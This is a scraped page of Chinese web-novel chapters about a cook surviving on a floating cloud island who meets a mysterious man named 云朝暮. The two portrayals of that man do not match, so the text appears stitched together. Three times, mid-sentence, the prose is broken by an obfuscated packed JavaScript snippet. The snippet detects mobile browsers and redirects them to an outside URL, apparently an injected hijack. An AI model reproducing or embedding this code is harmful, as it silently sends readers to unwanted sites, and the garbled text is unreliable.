肥啾的鼻子也不由自主地动了动。它歪着头,看着石板上那个渐渐泛起漂亮金黄色的圆饼,喉咙里发出一声极轻的“咕噜”。装出来的那点小脾气,在实实在在的食物香气面前,显得不堪一击。 盛棠全神贯注地控制着火候,适时用薄石片翻面。饼坯的另一面也烙上了均匀的金黄色焦痕,整个饼体微微膨胀,变得立体而蓬松。 油脂与高温共同作用,将九层塔的独特香气彻底激发,融入谷物与土豆的醇厚之中,形成一种令人食欲大动的复合香味。 很快,第一个豆饼土豆煎饼新鲜出炉。盛棠将其放在干净的叶片上稍微晾凉,外表金黄微脆,内里柔软,热气腾腾。 他掰下一小块边缘,吹了吹,自己先尝了尝。口感外焦里嫩,带着土豆的微甜和九层塔的清香,豆饼粗糙的口感已被完美转化,只剩下扎实的满足感。虽然朴素,却非常顶饱,味道也远超预期。 【叮!成功制作【九层塔风味豆薯煎饼】(品质:良好)】 【食用效果:饱腹值+6,提供持续稳定的能量。附加状态【扎实饱足】(显著延长饱腹感持续时间)【易于携带与储存】。】 “成功了!”盛棠心中一喜。他如法炮制,将剩下的面团全部烙成了煎饼,一片片金灿灿的饼子堆叠起来,散发着诱人的光泽和香气。 肥啾早已按捺不住,蹭到了他的脚边,仰着脖子,眼睛一眨不眨地盯着石板上翻飞的饼子,时不时“啾”一声。 盛棠看着这一大摞劳动成果,成就感满满。他拿起最先烙好、已经温凉适口的那一块,掰成适合小鸟啄食的小块,放在一片干净的叶子上,推到肥啾面前。 “喏,尝尝看,这次不酸也不冷了吧?”他戏谑道。 肥啾早已忘记了几分钟前的小小“恩怨”,欢呼一声,立刻埋头苦吃,小脑袋一点一点,速度快得只剩残影。 盛棠笑了笑,自己也拿起一块热乎乎的煎饼,靠着温暖的石板,就着清晨的阳光,满足地咬了一大口。 他留下两块作为自己和肥啾的早餐与储备,将剩余的煎饼仔细包好,连同之前承诺退回的一小块原始豆饼,一起打包,通过系统发送给了望眼欲穿的【豆饼砸死我】。 几乎就在发送完成的瞬间,对方激动到语无伦次的回复和交易完成的提示便同时抵达。 【豆饼砸死我】:啊啊啊啊!神!真的太神了!大佬你是我的神!这煎饼香疯了!又软又香还顶饱!下次再有这种硬骨头食材我还找你!不,我以后开到的奇怪食材都找你!(交易完成,获得:木材x15) 盛棠笑笑,关掉了私聊框。 有了这些煎饼,那位困在风蚀平原的玩家,至少在未来几天,不必再为饥饿发愁了。 收好了那个简易小厨房,盛棠弯腰拎起那把结实的铁铲,正准备转身出门,一阵极其突兀的、与岛上自然音景格格不入的轰鸣声由远及近,迅速撕裂了清晨的宁静。 那声音低沉而有力,不像是风声,或者任何动物的鸣叫,反倒是像发动机的声音。 盛棠猛地顿住脚步,警惕地侧耳倾听,心跳不由自主地加快。声音越来越近,就从头顶压下来。 他迅速转身,握紧了手中的铁铲,看向声音来源的天空。 只见一架线条流畅、银灰色的小型飞行器,平稳地降落在不远处较为平坦的地上。它舱门滑开,一个身影利落地跳了下来。 那是一个身量很高的男人,穿着剪裁合体、面料特殊的深色衣裤,衬得肩宽腿长。头发是凌乱的黑色短发,肤色是冷调的白,眼睛却是深深的酒红色。 男人在距离盛棠几米外停下,视线掠过盛棠手中下意识举到胸前的铁铲,掠过他身后崭新但朴素的小木屋,掠过旁边好奇张望的云团子和警惕竖起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053152|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽毛的肥啾,最后,重新落回盛棠脸上。 “新来的?”男人开口,声音不高,语气平淡,像是在确认一个再普通不过的事实。 盛棠被他问得愣了一下。什么意思?他是这里的原住民吗? 盛棠不由自主的握紧了手里的铲子,对方身上有种与周围环境格格不入的气息,实在是让他有些害怕了。 他铲头微微向前,摆出个并不强烈但足够明确的防御姿态,微微抬起下巴,琥珀色的眼睛凶巴巴直视对方,反问:“你是谁?” 男人没有立刻回答,红眸深邃,看不出喜怒。倒是周围那些一直飘浮着的云团子们,仿佛突然找到了话题,瞬间叽叽喳喳地炸开了锅。 “呀!是那个凶巴巴的冷脸!” “比寒潮还冷的那个!” “他怎么又来了?上次来还是好久好久以前呢!” “是不是又要检查云云的‘工作’啦?” “不对不对,他上次来是追着一个坏掉的‘铁皮怪’……” “他看精灵的眼神好奇怪哦!” “精灵别怕!他虽然冷冰冰的,但是好像不坏……云云记得他没伤害过我们!” “可是他好凶,都不笑!” “对对对,比石头还硬!” 盛棠眨了眨眼,长长的睫毛在晨光下颤动。 听到云团子们虽然抱怨对方凶、冷,却并没有传达出真正的恐惧或敌意,他心中那根紧绷的弦稍稍松弛了些。 这些单纯直白的云朵,感知往往最是敏锐。它们既然没有表现出躲避或警告,那至少说明,眼前这个气势迫人的男人,大概率不是带着恶意而来。 心里虽然还揣着疑惑和谨慎,但那份如临大敌的戒备感,终究是慢慢淡去了。 盛棠缓缓地将举在胸前的铁铲放低,直至铲头轻轻触地。脚下不易察觉地挪动了半步,从原本略带对峙的姿势,转为更显平和自然的站立,周身那股下意识竖起的凶劲也随之收敛了大半。 “你好?”他尝试着开口,声音比刚才缓和了许多,琥珀色的眼睛里带着谨慎的探寻,“请问你是……?” 男人那双酒红色的眼眸似乎极轻微地动了一下,从怀里摸出一张泛着淡淡金属光泽的卡片,递了过来。 盛棠接过卡片只见上面简洁地印着几行字。 【姓名:云朝暮】 【身份:空投联盟·第七行动组·组长】 “空投联盟的小组长。负责这片区域的物资空投。”云朝暮这才开口。 空投联盟?物资空投? 原来那些每天出现在资源区的“文明馈赠”木箱,并非完全随机或自然生成,而是真的有组织在进行投放…… “所以,你来找我,是有什么事吗?总不会只是来看看我这个小屋盖得结不结实吧?” 云朝暮摇摇头:“根据监测,你已经成功登陆,并与当前岛屿的基础生态单位建立了初步稳定链接。” “按照《新界拓荒者初级引导条例》,当登陆者达成基础生存保障并触发‘区域安定’指标后,即视为初步通过‘适应期’,有权获知更广泛的活动区间信息,并进行有限度的外部沟通。” 这段话有点官方,但盛棠还是捕捉到了关键词——“更广泛的活动区间”、“外部沟通”。 他眼睛倏地亮了,像是有小星星蹦了出来。 这不就是……游戏里完成了新手村任务,终于要开大地图、能跟其他玩家或者NPC交流的节奏吗?! 自己把岛上的基础资源摸了一遍,小木屋也盖起来了,食物来源初步解决,还跟云团子们搞好了关系…… 这可不就是达成了“基础生存保障”和“区域安定”嘛! 原来眼前这位冷面帅哥不是路过,也不是偶然,而是系统安排好的“引导NPC”?专门来通知自己“新手保护期”差不多过了,可以往外瞅瞅了? 这么一想,盛棠心底最后那点戒备“咻”地一下就烟消云散了,取而代之的是一种即将探索新领域的兴奋感。 他脸上立刻绽开一个灿烂的笑容,主动往前凑近了两步,连连点头,语气都变得轻快起来。 “对对对!你说得太对了!我就是一个普普通通、刚刚落难……啊不是,是刚刚来到这里的‘外来者’,绝对没有恶意!就是想好好生存下去,顺便探索探索。能和你们……呃,和空投联盟建立沟通,了解更多的信息,那真是太好了!” 他一边说,一边悄悄打量着云朝暮。 嗯,虽然表情还是没什么变化,站得笔直像棵松树,但看起来不像是要打架或者抓人的样子。可能就是个负责传话、发任务的固定NPC?态度冷了点,但应该没啥危险。 云团子们似乎也感觉到了气氛的变化,不再叽叽喳喳地“告状”,而是好奇地飘近了些,云絮轻轻拂动,像是在观察这场对话的走向。肥啾也歪着小脑袋,黑豆眼看看盛棠,又看看云朝暮,喉咙里发出轻轻的“咕噜”声。 盛棠此刻的心思已经完全飞到了“开地图”上,眼睛亮晶晶地看着云朝暮,等着他发布下一步的“任务”或者“指引”,满心都是对外面世界的好奇和规划。 至于这位“云组长”本身为什么这么冷、到底什么来头……暂时都被对新地图的期待压了下去。 云朝暮似乎没想到这位盛棠会如此期待的看着他,神色怔忡了一秒,才从怀里摸出一张邀请函,递给了他。 “这是空投联盟的邀请函。”他平淡的说道,“如果你愿意加入,可以打开它。成为联盟成员后,旗下开放的资源岛屿将对你解除访问限制,你可以凭借此函自由往来。” 盛棠接过邀请函。他没有立刻打开,而是抬头追问:“加入需要满足什么条件吗?或者,有什么必须遵守的限制?” “没有强制要求。”云朝暮轻轻摇头,酒红色的眼眸定定的看着他,“联盟由众多岛主自发组成,核心宗旨是互助与资源共享,目的是让每个人都能更安全、更有保障地生存下去。” 他略微停顿,补充道:“加入后,若你愿意,可以将你岛上出产或加工的物品,以较为优惠的价格提供给其他有需要的成员。当然,这并非义务,全凭自愿,联盟不会干涉成员个人的交易选择。” “联盟能提供的一项实质保障是:若成员岛屿遭遇经确认的重大天灾,联盟会启动支援程序,为其提供一次基础性的灾后重建援助。” “也就是说,”盛棠组织着语言,“加入联盟,好处是能去资源岛获取更多样、更丰富的物资,还能在灾难后得到一次重建帮助?义务方面……主要是鼓励成员间互相帮助,比如以优惠价格分享自己的特产或加工品,但不是强制性的?” 他总结得很清晰,云朝暮点了点头,红眸中似乎掠过一丝几不可察的赞许。 “基本正确。联盟的本质是互助与资源共享平台。成员享有便利,也默认在能力范围内回馈联盟社群,以维持其运转。但具体贡献方式和程度,取决于个人意愿。” 这条件听起来相当宽松且有利。尤其是“资源岛”和“灾后重建”这两条,对任何求生者都是巨大的吸引力。 盛棠几乎没怎么犹豫,心里已经偏向接受了。毕竟,单打独斗终究有极限,能有一个组织提供信息和资源支持,还能接触其他“岛主”,怎么看都是好事。 他脸上绽开笑容,那点最后的戒备如阳光下的露珠般消散:“听起来是个很不错的联盟。我愿意加入。” 他说着,打开信封,抽出了那张邀请函。邀请函微微发热,背面原本空白的地方,开始浮现出清晰的文字。 【持有者:盛棠】 【联盟权限:初级成员】 【资源岛访问许可:已开启(基础区域)】 【通讯频道接入:区域频道(静谧海岸及邻近区)|联盟基础频道(限接收公告及紧急信息)】 【贡献点:0】 【备注:欢迎加入空投联盟。生存不易,守望相助。】 “这样就可以了吗?”盛棠仰起脸来,眼巴巴的看着云暮朝。 云朝暮点了点头:“可以了。” “具体功能,你可自行探索。通过邀请函,你可以查询可访问的资源岛坐标与概况,也能接入限定范围的通讯频道,与其他成员交流。联盟不定期会通过频道发布公告或组织集体活动,参与与否自愿。” 他顿了顿,目光再次扫过盛棠那初具规模的小营地,以及旁边眼巴巴望着、似乎对邀请函也很感兴趣的云团子和肥啾。 “你的天赋能力,是与烹饪相关吗?” 盛棠点了点头,带着点小小的自豪:“是的,我是个厨子。” 话一出口,他的目光不由自主地飘向旁边石板上,那块刚刚做好、还冒着丝丝热气的豆薯煎饼。金黄的表面泛着油润的光泽,质朴的香气依旧萦绕。 他忍不住又悄悄瞄了一眼那位联盟组长。 云朝暮依旧是那副没什么表情的样子,站得笔直,连衣角都透着一丝不苟的冷肃。 心里忍不住泛起了嘀咕。 他好端端的,怎么突然问起自己的天赋是不是厨子?难不成……是飞了太久,肚子饿了,想跟自己这个厨子讨一口饭吃? 这个念头一起,盛棠就忍不住盘算起了自己存货。 除了石板上的豆薯煎饼,背包里倒是还有些烤鱼和果膏,可那是为了应对未知天气和可能断粮的储备…… 家里还有“百十来张口”要喂呢,如果分一点给了这位突然驾到的组长,自己接下来的计划可能就得紧巴点了。 可是……人家大老远开着飞机过来,巴巴地给自己送来了这么重要的邀请函。让人家就这么空着肚子走,好像……也有点说不过去? 内心挣扎了短短一瞬,他抬起眼,看向云朝暮那双看不出情绪的酒红色眼眸,试探着邀请道:“那个……有个刚做好的豆煎饼,味道还行。要来尝一口吗?” 15. 上岛的外人 第六天清晨,盛棠是被一阵急促的窸窸窣窣声惊醒的。 是阿团在拼命刨门。 他撑起身,看见云鼹鼠正用两只前爪疯狂抓挠着云砖门框,一身雪白的毛全都炸了起来,黑豆眼里盛满了前所未有的恐惧。这反应太反常了。 “怎么了?”盛棠揉着惺忪睡眼坐起来。 阿团不回答,只是扭过头,冲着云海的方向发出一连串尖锐又急促的“啾啾”声。另外几只云鼹鼠也从窝里挤了出来,缩在墙角抱成一团,瑟瑟发抖。 盛棠心里一紧,顺着阿团示意的方向望去。晨光初露,云海泛着鱼肚白,能见度还算可以。 起初他什么也没看见,直到一抹极不协调的颜色撞进视野。 灰白相间的云毯上,有一个正在移动的小点。 距离太远,看不清具体是什么。但阿团和它的族人已经恐惧到了极点,它们不再刨门,而是挤到盛棠脚边,小小的身体抖得像风里的落叶。 盛棠的心沉了下去。他迅速套好衣服,把云铲和那截备用云绳系在腰间。 那抹白色越来越近。轮廓也逐渐清晰起来。 那……是个人? 盛棠愣住了。那确实是一个人的轮廓,穿着类似旧式长袍的衣物,身形修长、瘦削,正在云面上不紧不慢地行走。 只是,那衣袍是白的,露出的手和隐约可见的侧脸也是白的,一头长发更是如雪瀑般披散在身后。 整个人,像用一整块羊脂玉雕出来的,没有一丝杂色。 一个白化病人?在这云海之上? 这个念头刚冒出来就被他自己否了。白化病人的皮肤和毛发是缺乏色素的苍白,但总归能看出肌理和些许血色。 可远处那个身影,白得纯粹、均匀,就像他脚下那些最单调的云絮。甚至……在初升的阳光下,那白色似乎在微微反着光。 更让他心惊的是阿团它们的反应。如果来的是个迷路的同类,云兽不该怕成这样。这种恐惧,更像是……遇见了天敌。 可是,鼹鼠的天敌,怎么会是人形的呢? 那人影走到大约三十米开外,停住了。 盛棠终于看清了他的脸。那是一个年轻男人的样貌。皮肤白得近乎透明,能看见底下淡青色的细微脉络。眉毛、睫毛都是霜雪一样的白。一双眼睛是浅灰色的,像蒙了层雾的玻璃珠子,正平静地看向盛棠,以及他身后的小屋。 最引人注目的是他的头发,雪白的长发直垂到腰际,像一匹流淌的银缎,披散在肩背上。 阿团发出一声短促到几乎噎住的哀鸣,把脑袋死死埋进盛棠的裤脚里。 那白色的人形似乎注意到了云兽的反应,浅灰色的眼珠极缓慢地转动了一下,瞥向阿团它们。 仅仅是被瞥了一眼,盛棠就感到脚边的颤抖陡然加剧,几乎要抽搐起来。 他安抚地摸了摸阿团冰凉发抖的背,深吸一口气,向前走了几步。 “你是谁?”他抬高声音问。 苍白的人影静默了几秒,轻轻开口,声音平直得没有起伏:“云朝暮。” 名字倒是像人的。盛棠继续问:“从哪里来?有什么事?” 他一边问着,一边手悄悄摸向腰间的云铲柄,握紧了。 云朝暮的目光从小屋、云田、挤成一团的云鼹鼠身上缓缓扫过,最后落回盛棠脸上。 “我的云,”他抬起一只同样苍白得刺眼的手,指了一个方向,大约是西北边,“要散了。看到光,过来。” 他的用词极其简略,语调平直,很像上机器,缺乏正常人说话应有的韵律和顿挫感。 散了的云?这里的云……居然会自己消散? 盛棠惊讶了一秒,随即也就释然了。 云嘛,说到底不过是水汽凝结的暂时产物,跟坚实的大地终究没法比。就算他一直照着系统提示,不断地加固脚下的云岛,恐怕也难逃最终消散的风险。 这个问题,其实他刚被丢上云的时候就想过了,只是后来疲于奔命,暂时把它抛在了脑后。现在被眼前这人一提,心里虽说慌了一下,倒也不觉得太意外。 至于对方说的“看到光”…… 盛棠用眼角余光瞥了瞥身后那几株已经成熟的日光草和成片的夜光藓。是它们发出来的光吗?可这两种光都不算强,离远了根本看不清。这人得有多好的眼力,才能在茫茫云海上注意到这点微光? 盛棠又打量了一下眼前这个自称“云朝暮”的男人。长相是挺俊朗,但气质有种说不出的……“钝”感,看着不像是个会说谎的。 可如果他没说谎,那自己岛上这些云鼹鼠,为什么怕他怕成这副见了鬼的样子? “就你一个人?”盛棠追问。 云朝暮点了点头,雪白的长发随之流淌。“一个人。” “你的云……散了之后,有什么打算?” “需要……地方。”他顿了顿,似乎在努力组织词句,“可以交换。” “用什么交换?” 云朝暮沉默了片刻,然后伸出另一只手。宽大的白色袖口滑落,露出苍白得没有一丝血色的手腕。他掌心向上,缓缓摊开。 里面躺着一颗结晶,约莫鸽卵大小,通体流转着朦胧而深邃的紫黑色光晕,内部仿佛有星云在缓缓旋转。 “这个。”云朝暮说,声音依旧平淡。 虽然不知道那具体是什么,但某种本能告诉盛棠,那绝非凡品。仅仅是看着,都能感觉到其中蕴藏的不寻常力量。 诱惑是巨大的。但脚边云鼹鼠们几乎要昏厥过去的剧烈颤抖,同样鲜明。 阿团甚至开始用牙齿轻轻撕扯他的裤脚,拼命想把他往后拽。 盛棠陷入了短暂的挣扎。收留一个来历不明、让本地生物恐惧到如此地步的“人”?风险难以预料。 可如果拒绝他,任由他离开?这个人明显已经看到了自己小屋和云田的特殊之处,谁知道他会不会因此怀恨在心,或者引来别的麻烦? “呜……”阿团发出近乎呜咽的声音,瑟瑟发抖地用它的小脑袋,用力撞了一下盛棠的小腿骨。 “嘶——”盛棠疼得倒吸一口凉气,低头看向阿团,“怎么了?” 阿团疯狂地摇着头,小脸上竟然露出了近乎人类般的恳求表情:“啾啾啾!啾啾啾啾!啾啾!啾啾!” 其他几只小云鼹鼠也在不停地作揖,大颗大颗的泪珠直接从它们眼眶里滚出来,砸在云面上。 一时间,“啾啾”的哽咽声响成一片。 盛棠:“……?” 这个人……有这么可怕吗? 他再次审视着眼前的男人。从自己的角度来看,他确实能感觉到这个人有问题。起码,不怎么像“正常人”。但他并没有从对方身上感受到直接的恶意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086356|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从最实际的风险角度看,盛棠觉得,自己有必要把这男人留下。至少,得把他放在眼皮子底下看着。 一个来历不明的外来者,对现在的他来说,本身就意味着潜在的麻烦。与其让他消失在云海里不知去向,还不如放在跟前看着,好歹能有个防备。 但……他没法不考虑云鼹鼠们的感受。 阿团它们不仅仅是邻居,更是实实在在帮过他不少忙的伙伴。如果他完全不顾它们的恐惧,硬把这种让它们怕到发抖的存在留下来,那他还算什么好邻居? 这可不是该有的处事方式。 为今之计,也只有和阿团他们谈谈了! 盛棠叹了口气,蹲下身来,平视着阿团的黑豆眼,尽量放柔了声音:“阿团,我知道你们害怕。我也觉得他很……不一样。” 阿团急促地“啾”了一声,小爪子紧紧扒着他的裤脚。 “但是!”盛棠指了指云朝暮手中那枚流转着紫黑色光晕的结晶,“他拿出了交换的东西,而且……他说他的云散了。” “如果就这么让他走,我们不知道他会去哪里,会不会带来别的,我们更无法预料的麻烦。” 他轻轻摸了摸阿团炸毛的后背:“把他留在我们能看见的地方,盯着他,或许比让他消失在云海里更安全。我答应你们,会一直注意他,一旦发现任何不对劲……” 他顿了顿,语气认真,“我们就一起想办法,让他离开。可以吗?” 阿团仰着小脑袋,黑豆眼里水光潋滟,盛满了挣扎和信任。它回头看了看自己同样瑟瑟发抖的族人,又看了看盛棠认真的脸,最后小鼻子抽动了两下。 它松开盛棠的裤脚,往前挪了一小步,仰头冲着云朝暮的方向,发出一连串急促而尖锐的“啾啾”声,同时抬起一只小爪子,用力比划来两下。 “啾啾!啾啾啾!” 盛棠大概明白了阿团的意思,大概就是“让他来可以,但不能靠近我们,得听话”之类的。 这下盛棠可犯难了。对面那家伙,起码算是生物谱系里的“动物”一类吧? 动物有自己的想法,有腿,会动,他也不是那种能强行命令别人的强势性子,怎么好硬性约束呢? 可再看看阿团和其他云鼹鼠那明显焦躁不安、眼泪汪汪的样子,盛棠心里一软,叹了口气。 “算了!”他心想,“就当是学习怎么当个‘好房东’了!总不能让我这些帮了大忙的好邻居们,在自己的地盘上受委屈、担惊受怕啊。” “我地方不大。”盛棠站起身来,看着云朝暮的眼睛慢吞吞的道,“不能让你住进来。但那边——” 他指了指云桥对面的云团,“可以搭个临时遮棚。你可以暂时待在那里,直到……你找到新的去处,或者你的云恢复。” “作为报酬,我需要知道你那颗结晶是什么。” 云朝暮浅灰色的眼眸似乎微微动了一下。他点了点头,依然用那种平直的语调说:“好。” 他抬起脚,踏上了这片小小的云岛。雪白的袍角拂过云面,没有留下一丝痕迹。 身边的阿团发出了一声近乎凄厉的尖叫,然后彻底瘫软在盛棠脚边,晕了过去。 云朝暮的脚步没有丝毫停顿,仿佛对那些云兽们的害怕毫不在意。他径直走到盛棠面前,将手里的结晶递了过去。 “给你,好东西。” 16. 云朝暮不是人? 盛棠强迫自己把注意力从吓晕过去的阿团身上移开,先从储物箱里拿出了剩下的所有云絮,隔着一段距离递了过去。 “材料在这儿,你自己过去搭吧。”他保持着安全距离,语气有些生硬,“我得先照顾它们。” 说完,他立刻蹲下身,小心翼翼地把软成一团的阿团捧起来。小家伙显然是吓晕的,身体还在无意识地发抖,心跳快得吓人。 盛棠把它抱回小屋内侧,远离门口,放在软垫上,用手轻轻顺着它的毛,一下下安抚,直到那小小的身躯颤抖的幅度逐渐平息了一些。 安顿好云鼹鼠,盛棠才回到门口。云朝暮已经走到对面那片空着的云团上,开始搭建遮棚了。 他的动作不算快,但异常有效率。修长苍白的手指拂过那些云絮时,那些材料仿佛变得更“听话”了,彼此结合得异常紧密、稳固。 盛棠下意识举起手机,将捕捞准星对准了那些刚刚还被归类为“破损”的基础云絮合成的砖块。 【凝实云砖】 【分类:材料】 【描述:破损的基础云絮经抗性挤压与特殊修补后凝结而成的新砖块。】 盛棠倒抽一口冷气。这人什么来头?只是用手触碰过,就能把这些破损材料直接“修补”成更高级的凝实云砖?! 他握着手机的手一颤,准星意外地对准了云朝暮本身。自动捕捉被触发,但灰色的提示框里却只显示出三个冰冷的问号:【???】 盛棠的心猛地一沉,立刻将手机收了起来,背脊窜上一股寒意。 眼前这个“云朝暮”,根本不是什么落难的人。 他是这云海里某个不知是什么、却拥有人类形态的……东西。 被这样的存在找上门,绝对不是什么好事。 云朝暮却似乎没有察觉到盛棠的动作,依旧一板一眼的搓着材料。很快,一个虽然简陋但相当稳固的单坡遮棚就成型了,大小刚好够一个成人容身。 盛棠想了想,还是拿出水和一块草籽饼,走了过去。 “给你的。”他说。 云朝暮看了看食物和水,又看了看盛棠,然后走过去,拿起饼,掰下一小块放进嘴里。他的咀嚼动作很慢,很仔细,仿佛在分析食物的成分,而不是享受味道。喝水也是一小口一小口地吞咽。 “结晶。”盛棠提醒他,“怎么来的?” “虚空凝核。”他说,“下面,捞的。” 虚空?凝核?下面? 盛棠心头一跳:“云海下面?” 云朝暮点头。“很深。有乱流。危险。” 他似乎试图描述,但词汇有限,“这个,稳定空间。小范围。” 盛棠立刻想到了自己那块星核碎片,以及小屋周围十米内那令人安心的秩序辐射场。如果这“虚空凝核”也有类似的效果,哪怕范围小一些,价值也绝对无法估量。 “怎么换?”盛棠问,努力让自己的声音听起来平静。 “住三天。”云朝暮回答得干脆,“告诉你怎么用。”他顿了顿,浅灰色的眼珠转向小屋,补充道,“会过去,不进去。”意思是他只会待在盛棠指定的那片区域,不会踏入小屋。 用一颗珍贵结晶的使用方法,换取三天的临时停留权。听起来,似乎是盛棠占了大便宜。 但天下没有免费的午餐,尤其在这个怎么看怎么诡异的“云朝暮”身上。如果不知道他到底是什么东西,这三天里会发生什么,完全是未知数。 “你到底是什么?”盛棠忍不住又问了一次,指向小屋角落里还在发抖的云鼹鼠,“为什么它们怕你怕成那样?” 这些小云鼹鼠胆子已经算大了,至少还能站着发抖。不像阿团,直接吓晕了过去。想起还躺在屋里软垫上那个小小、脆弱的身影,盛棠心里一软,又泛起一股恼火。 云朝暮顺着他手指的方向望去,浅灰色的眼瞳里似乎浮现出一丝极细微的疑惑。他下巴微微向左偏了偏,然后摇了摇头。 “我,”他抬起自己那只苍白得过分的手,翻来覆去地看了看,像是在审视一件陌生的物品,“和它们,不一样。” “哪里不一样?” “本质。”云朝暮吐出两个字,似乎觉得不够,又补充道,“云兽,生于云,归于云。我……” 他停顿了很长时间,久到盛棠以为他不会回答了。他才用一种近乎空洞的语调说:“我非生,亦非归。我在……之间。” 什么东西?云里雾里,玄乎得让人头疼。 盛棠嫌弃地皱紧了眉头。身为一个坚信科学的唯物主义者,他最烦的就是这种神神叨叨、故弄玄虚的说法。 他的情绪瞬间冷了下来,双手抱臂,用审视的目光冷冷盯着云朝暮,抛出一连串更直接的问题:“你从哪儿来?为什么会在这里?你的云又是怎么散的?” 云朝暮却只是摇头:“不记得。醒来,就在云上。云,一直变小,变薄。”他指向西北方向,“昨天,最后一块,碎了。” 失忆?这倒是个万金油似的借口,真假难辨。 盛棠知道,再追问下去恐怕也得不到更多有用信息了。这个云朝暮要么是真的记忆残缺、认知有限,要么就是极度擅长伪装和隐瞒。 他换了个方向,决定先抓住眼前能确定的利益:“结晶的用法,现在告诉我。” 云朝暮的目光落回盛棠手中那枚紫黑色的结晶上。 “共鸣。”他缓缓开口道,眼角的余光却越过盛棠,落在了云桥后面的屋子上,“与你的核心,建立连接。方式,与你获得的碎片,相同。” 盛棠的瞳孔骤然收缩,后背瞬间绷紧,一股寒意顺着脊梁骨爬上来。 他获得星核碎片是昨天才发生的事! 而且获得整个过程都在那片刚平息的空间旋涡附近,远离他的小屋区域。 虽然处理旋涡的动静可能不小,但他确信当时周围没有其他人影,连云兽都远远避开了。 至于建立共鸣,那就更隐私了!他的云朵屋子,除非自己主动邀请,即便是阿团也进不去。这个云朝暮,怎么会知道得如此清楚? “你怎么知道碎片的事?”盛棠的声音压低了,带着毫不掩饰的质疑和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086357|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警惕,“当时那里只有我。” 云朝暮缓缓抬起头,浅灰色的眼睛里泛起一阵淡淡的茫然。他迟疑的看着盛棠,嘴唇轻轻抿了一下。 “在云上。”他轻轻地说,“没有秘密,能瞒过我。” 盛棠的心沉得更深了。这个“人”的诡异程度,远超他的预估。 “你的意思是……”盛棠强迫自己冷静下来,紧紧盯着对方,“只要发生在这片云海上的事,你都能知道?” 云朝暮皱了皱眉,那双带着茫然的浅灰色眼睛定定地看着盛棠,似乎没能完全理解这个问题。 盛棠被他看得心里有点发毛,刚想换个更直白的说法,却看见云朝暮摇了摇头。 盛棠:“?”这是听懂了,还是没听懂? “不是知道。”云朝暮纠正道,语气很认真,“是感知。它们,会告诉我。你与那碎片的共鸣,动静,不小。” 盛棠垂下了眼帘。 如果是通过感知能量异常来判断,那倒勉强说得通。星核碎片与云朵屋核心共鸣时的能量波动,确实不小。 如果对这类能量异常拥有敏锐感知的话,确实能察觉到自己的存在。 不过,如果这是真的,那云朝暮对能量层面的变化异常敏感。在他面前,很多手段恐怕都会失效。 “所以。”盛棠慢慢说道,试图理清思路,“你感知到了我和碎片的共鸣,顺着共鸣的路线找过来的?” 云朝暮点了点头,算是承认。 “这颗‘虚空凝核’的使用方法,就是让它也与我小屋的核心建立类似共鸣?”盛棠再次确认。 “是。”云朝暮言简意赅。 盛棠点点头,将结晶小心地收了起来。这东西太有价值了,必须收好。 他看了一眼云朝暮,对方已经回到遮棚下,盘膝坐下,闭上了眼睛,那姿态不像休息,更像某种……待机状态。 苍白,安静,诡异。 盛棠退回自己的云岛上,简单安抚了一下被吓坏了的云鼹鼠们后,又拿出一些云菇和干净的水放在他们的窝边上。 忙完这些,他才感到一阵疲惫和后怕。云朝暮的出现,打乱了他全盘的计划。原定的信号塔搭建不得不暂时搁置。 他坐在门内,目光复杂地看着对面云团上,遮棚下那个白得像鬼魅的身影,摇了摇头。 接下来的三天,他得时刻保持警惕了。虽然不清楚,但直觉告诉他,这家伙铁定是个大麻烦。如果不能尽快弄清楚他的底细的话,只怕他的岛都要保不住了。 【生存日志更新】 【星月历7045年1月24日,07:03:05】遭遇未知存在“云朝暮”。】 【状态:极度危险(云兽反应评估)】 【达成临时收留协议(三日),获得“虚空凝核”及基础使用方法。】 【云鼹鼠族群因恐惧陷入僵直/昏迷状态,需密切观察。】 【原定探索计划终止,转为高度警戒与情报收集。】 【当前首要目标:确保家园安全,查明“云朝暮”真实本质与意图。】 17. 全新的合作协议 等到太阳完全升上天空,盛棠才终于行动起来。 他先检查了阿团的情况。小家伙已经醒了,但还是蔫蔫的,蜷缩在小屋最远的角落,抱着自己的大尾巴,偶尔抬起湿漉漉的黑豆眼偷偷瞥一眼门外,稍有点动静就吓得一哆嗦。 其他几只云鼹鼠也差不多,完全没了往日的活泼劲儿,挤在一起瑟瑟发抖。 盛棠叹了口气,拿出一些烤云菇和干净的冷凝水放在它们旁边。阿团小心翼翼地嗅了嗅,才小口小口吃起来,那斯文又带着惊惶的吃相,看得人心里发酸。 看来,在摸清云朝暮的底细之前,他这些毛茸茸的邻居们是指望不上了。 一切只能靠自己。 